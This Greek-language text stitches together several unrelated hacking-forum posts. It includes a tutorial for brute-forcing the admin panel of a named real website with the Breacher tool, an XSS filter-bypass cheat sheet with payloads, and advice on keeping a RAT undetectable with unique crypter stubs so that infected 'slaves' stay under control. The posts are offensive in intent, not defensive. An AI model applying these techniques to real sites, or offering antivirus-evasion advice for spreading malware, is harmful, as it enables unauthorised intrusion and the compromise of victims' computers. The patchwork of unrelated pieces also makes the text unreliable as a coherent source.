Τέλος, η συνεργασία με αξιόπιστους ειδικούς ασφαλείας πληροφοριών (SOC) και η διατήρηση ενός ενεργού σχεδίου αντίδρασης σε περίπτωση επίθεσης είναι ζωτικής σημασίας για την αντιμετώπιση των απειλών της επίθεσης RCE. Με συνεχή επιτήρηση και ενημέρωση, μπορείτε να είστε προετοιμασμένοι και να προστατεύσετε αποτελεσματικά τον ψηφιακό σας χώρο από αυτήν την αόρατη, αλλά θανάσιμη απειλή.
Σίγουρα όσοι έχουν βρει ένα τρωτό σημείο σε μία ιστοσελίδα και το έχουν εκμεταλλευτεί, θα απορούν και που βρίσκεται το Panel, δηλαδή η σελίδα «σύνδεσης» του Admin έτσι ώστε να βάλουν τα στοιχεία και να πάρουν πρόσβαση.
Κάποιοι όπως και εγώ, κάνουμε δοκιμές στο url της ιστοσελίδας όπως « /admin, /admin/login.php, /wp-admin, /wp-login κ.τ.λ. » έλα όμως που κάποιες φορές αυτό δεν λειτουργεί και είμαστε σε σκέψεις τύπου… -Τι γίνεται ρε δεν έχει panel; -Το έχουν κρυμμένο; Η απάντηση είναι πως μπορεί όντως να μην το έχουν εμφανές αυτό το Panel λοιπόν και να βρίσκεται κάπου αλλού. Σε αυτήν την ανάρτηση όμως θα μάθουμε πως να το βρίσκουμε σε περίπτωση που το Website το έχει εμφανές το Panel του.
Γι’ αυτό θα σας «πλασάρω» ένα προγραμματάκι που λειτουργώ στο Linux μου και είναι κατεβασμένο από το Github (Κάποιοι από εσάς το γνωρίζετε).
Πάμε να δούμε από που μπορούμε να το κατεβάσουμε λοιπόν.
Το προγραμματάκι λέγεται Breacher.
Αφού πάμε σε αυτό το Link: ” https://github.com/s0md3v/Breacher ” πατάμε εκεί που λέει Code πάνω δεξιά και αντιγράφουμε το Link που έχει μέσα.
Θα σας το βάλω εδώ να μην το ψάχνετε:
https://github.com/s0md3v/Breacher.git
Αφού λοιπόν το κάνετε αντιγραφή, πάμε μετά στο terminal μας και γράφουμε τον εξής κώδικα
Όταν λοιπόν κατεβεί το προγραμματάκι μας το οποίο έχει φτιαχτεί με γλώσσα Python, θα πρέπει να το τρέξουμε. (ΠΡΟΣΟΧΗ! Πρέπει να χρησιμοποιείτε την Python 3 για να λειτουργίσει. Υπάρχουν αναλυτικά βιντεάκια στο YouTube για το πως να την κατεβάσετε).
Μην βιάζεστε τόσο όμως. Για να τρέξουμε το προγραμματάκι πρέπει να μπούμε και στον φάκελο που βρίσκεται. Σωστά; Σωστά.
Πάμε λοιπόν και γράφουμε τον παρακάτω κώδικα (Θα σας έχω και εικόνα γιατί το υποσχέθηκα στο προηγούμενό μου post)
cd Breacher/
Μπήκαμε στον φάκελο που είναι το πρόγραμμα! Τώρα θα πρέπει να τρέξουμε το πρόγραμμα βάζοντας και την ιστοσελίδα που θέλουμε να μάθουμε το Panel. Εγώ θα χρησιμοποιήσω το eviakosmos.
Δείτε παρακάτω πως
python3 breacher.py -u http://www.eviakosmos.gr/
Με το “ -u ” του δίνουμε εντολή και του λέμε θέλω να ψάξεις γι αυτήν την ιστοσελίδα “ -u = στόχος ”
Τώρα πατάμε Enter, και αρχίζει από κάτω και τρέχει ένα σωρό Links από μια wordlist. Δηλαδή; Όλα τα πιθανά. Όπως όταν θέλουμε να σπάσουμε hash από κωδικούς και τρέχουμε μία wordlist. Αυτή η μέθοδος ονομάζεται Brute Force.
Αφού τρέχει, μπορεί κάποια στιγμή να βρεί αυτό που θέλουμε. Πως θα το καταλάβουμε; Αντί για ” [ – ] ” θα έχει ” [ + ] ”
Ξεκινώντας θα πω ότι η κάθε σελίδα διαφέρει από την άλλη… που σημαίνει ότι
μπορεί να μην δουλέψει κάτι από αυτά που θα γράψω εδώ… αλλά αυτό δεν σημαίνει ότι
δεν είναι ευάλωτη σε xss
Επιπλέον μπορεί να καταφέρεται να κάνετε xss σε firefox και να δοκιμάσετε την ίδια
τεχνική σε chrome χωρίς να δουλέψει… αυτό γίνετε γιατί έχουν και οι browsers κάποιες
άμυνες για το xss
Ας ξεκινήσουμε από τα βασικά…
1) Συχνά κάποια σελίδα διαγράφει την λέξη <script> από τα πεδία που ελέγχει ο χρήστης… δηλαδή αν δώσουμε <script>alert("xss")</script> το <script> θα διαγραφτεί… Παρόλα αυτά μου έχει τύχει περίπτωση που περνάει αυτό: <sCriPt> Πιθανότατα δεν έκανε όλα τα γράμματα μικρά πριν ελέγξει τα δεδομένα που εισάγομε στην σελίδα… Επόμενος αν γράψουμε <scRIPt>alert("xss")</script> θα λειτουργήσει κανονικά!
2)
Ίδια με τα παραπάνω… μόνο που τώρα ελέγχει και τα κεφαλαία γράμματα
Επόμενος αν γράψουμε <script>alert("xss")</script> θα διαγραφτεί το <script>
και θα γράψει alert("xss")</script>
Αυτό μπορούμε να το εκμεταλλευτούμε… και να γράψουμε <scr<script>ipt>alert("xss")</script>
Όταν ο browser διαγράψει το <script> θα ενωθούν τα <scr και ipt> φτιάχνοντας
το <script>. Με αυτόν τον τρόπο θα ήταν σαν να βάζαμε: <script>alert("xss")</script>
3)null bite <sc%00ript> το %00 είναι ένα null byte το όποιο μπορεί να περάσει μερικά filters
αλλά στην ουσία δεν γράφει τίποτα με αποτέλεσμα το <script> να γράφετε κανονικά στην σελίδα
4)Encryption:
Μπορείτε να κωδικοποιήσετε τα script σε διάφορες μορφές ώστε να παρακάμψετε πολλά filters
Για παράδειγμα μπορεί κάποια σελίδα να μην σας αφήνει να γράψετε το < και το > ή τα ”
Μπορείτε να τα κωδικοποιήσετε σε διάφορες μορφές… για παράδειγμα url encoding %3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E
το παραπάνω είναι το <script>alert("xss")</script> κωδικοποιημένο σε url…
τα < > κλπ αλλάξαν… Για παράδειγμα το < έγινε %3C
Πέρα από το url encoding μπορείτε να δοκιμάσετε και unicode encoding για παράδειγμα %u003C το όποιο μπορεί να γραφτεί και με διάφορους τρόπους: %u03C %u0003C
Επιπλέον είναι και τα html chars που πρέπει να γνωρίζεται και το base64… Υπάρχουν
και άλλα όπως base16 αλλά τα παραπάνω είναι τα σημαντικότερα… χωρίς αυτό να σημαίνει ότι
δεν πρέπει να δείτε και τα υπόλοιπά… τρύπες ψάχνουμε… πρέπει να ξέρουμε τις λεπτομέρειες
για να τις βρούμε… Μπορείτε να κάνετε και διπλό url encoding
5)
Υποθέτουμε ότι δεν μπορούμε να βάλουμε το <script> στον κώδικα της σελίδας με κανέναν από του
τρόπους που γνωρίζουμε… μπορούμε να κάνουμε κάτι άλλο… <img src="invalidimg.img" onerror="alert('xss')" /> θα προσπαθήσει να βάλει μια
εικόνα στην σελίδα… δεν θα την βρει θα πάει στο onerror και θα εκτελέσει το scriptaki μας…
6)Bypassing ” filtering.
Αν έχετε όλα τα παραπάνω αλλά δεν μπορείτε να βάλετε ” τότε σας προτείνω να
χρησιμοποιήσετε την συνάρτηση String.fromCharCode
Για παράδειγμα: <script>alert(String.fromCharCode(65,66,67))</script>
Είναι σαν να γράψαμε: <script>alert("ABC")</script>
Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ?
Οι Crypter(όπως όλοι νομίζω ξέρουμε), έχουν σκοπό να εισάγουν το payload μας, μέσα σε ένα “καθαρό” stub, και την ώρα που κάποιος τρέξει αυτό το stub… το μαζί με το stub να ανοίξει και το payload μας… στη μνήμη(αυτός είναι ένας runtime crypter). Μέχρι στιγμής είναι ο ποιο αποτελεσματικός τρόπος εισαγωγής ενός payload σε σύστημα/συστήματα. Το πρόβλημα όμως, είναι ότι η αγορά ενός crypter… μεν μας απαλλάσσει από τα… ενοχλητικά antivirus… όμως τελικά, δεν μας βοηθάει και πάρα πολύ. Έναν από τους λόγους, θα τον αναλύσω παρακάτω !!
Χρήσιμο λεξιλόγιο:
Shared stub: Μετάφραση: Κοινόχρηστο stub.
Burned stub: Μετάφραση: Stub το οποίο δεν είναι πλέον FUD.
Το 98-99% των crypters επί πληρωμή, χρησιμοποιούν shared stub. Αυτό σημαίνει ότι το stub(που μεν είναι FUD), το χρησιμοποιούν και όλοι οι άλλοι πελάτες αυτού του crypter. Αυτό σημαίνει ότι γίνετε πάρα πολύ εύκολα burned. Θα μου πείτε όμως: “Και? Ο προγραμματιστής που το έφτιαξε θα το ξανά κάνει FUD”. Κι εγώ θα σας απαντήσω.. ότι ναι.. πολύ σωστά, ο προγραμματιστής θα το κάνει ξανά FUD. Ας φανταστούμε ένα φανταστικό σενάριο όμως:
1) Είμαι κάτοχος ενός φανταστικού crypter.(Ας τον ονομάσουμε Crypter FFF)
2). Κάνω FUD έναν RAT client, με το FUD stub που μου παρέχει το Crypter FFF.
3) Παίρνω(το πλέον FUD) payload μου, και το κάνω spread εκεί που θέλω… ώστε να μπορώ να έχω “slaves”.
4) Το stub με το οποίο έκανα FUD το payload μου, γίνετε burned.
Μαντεύεται τι γίνετε παρακάτω ? ΑΚΡΙΒΩΣ !!! Όσους υπολογιστές(η τουλάχιστον τους περισσότερους που) μόλυνα και είχαν ένα καλό antivirus.. θα τους χάσω από slave οριστικά… και για να τους έχω slave ξανά, θα πρέπει να τους ξανά μολύνω. Αυτό καθιστά την χρήση κάθε crypter επί πληρωμή, που σας δίνει shared stubs εντελώς άχρηστη!!
Πάμε όμως στο πως θα το λύσουμε αυτό το “πρόβλημα”. Έχετε τις εξής λύσεις διαθέσιμες:
1) Φροντίζεται να αγοράσετε crypter, όπου ο προγραμματιστής του σας δίνει ένα unique stub. Δηλαδή stub μόνο για εσάς, και δεν είναι κοινόχρηστο.
2) Αγοράζετε unique stubs(οι τιμές είναι λίγο τσιμπημένες) από τον προγραμματιστή του crypter σας, και προσέχετε πως τα χρησιμοποιείτε.
3. Μαθαίνετε προγραμματισμό, και φτιάχνεται δικό σας crypter.
Δυστυχώς η ευτυχώς, αυτές είναι μοναδικές λύσεις που ένας χρήστης που θέλει να έχει στην κατοχή του έναν κάπως καλό, λειτουργικό crypter έχει διαθέσιμες.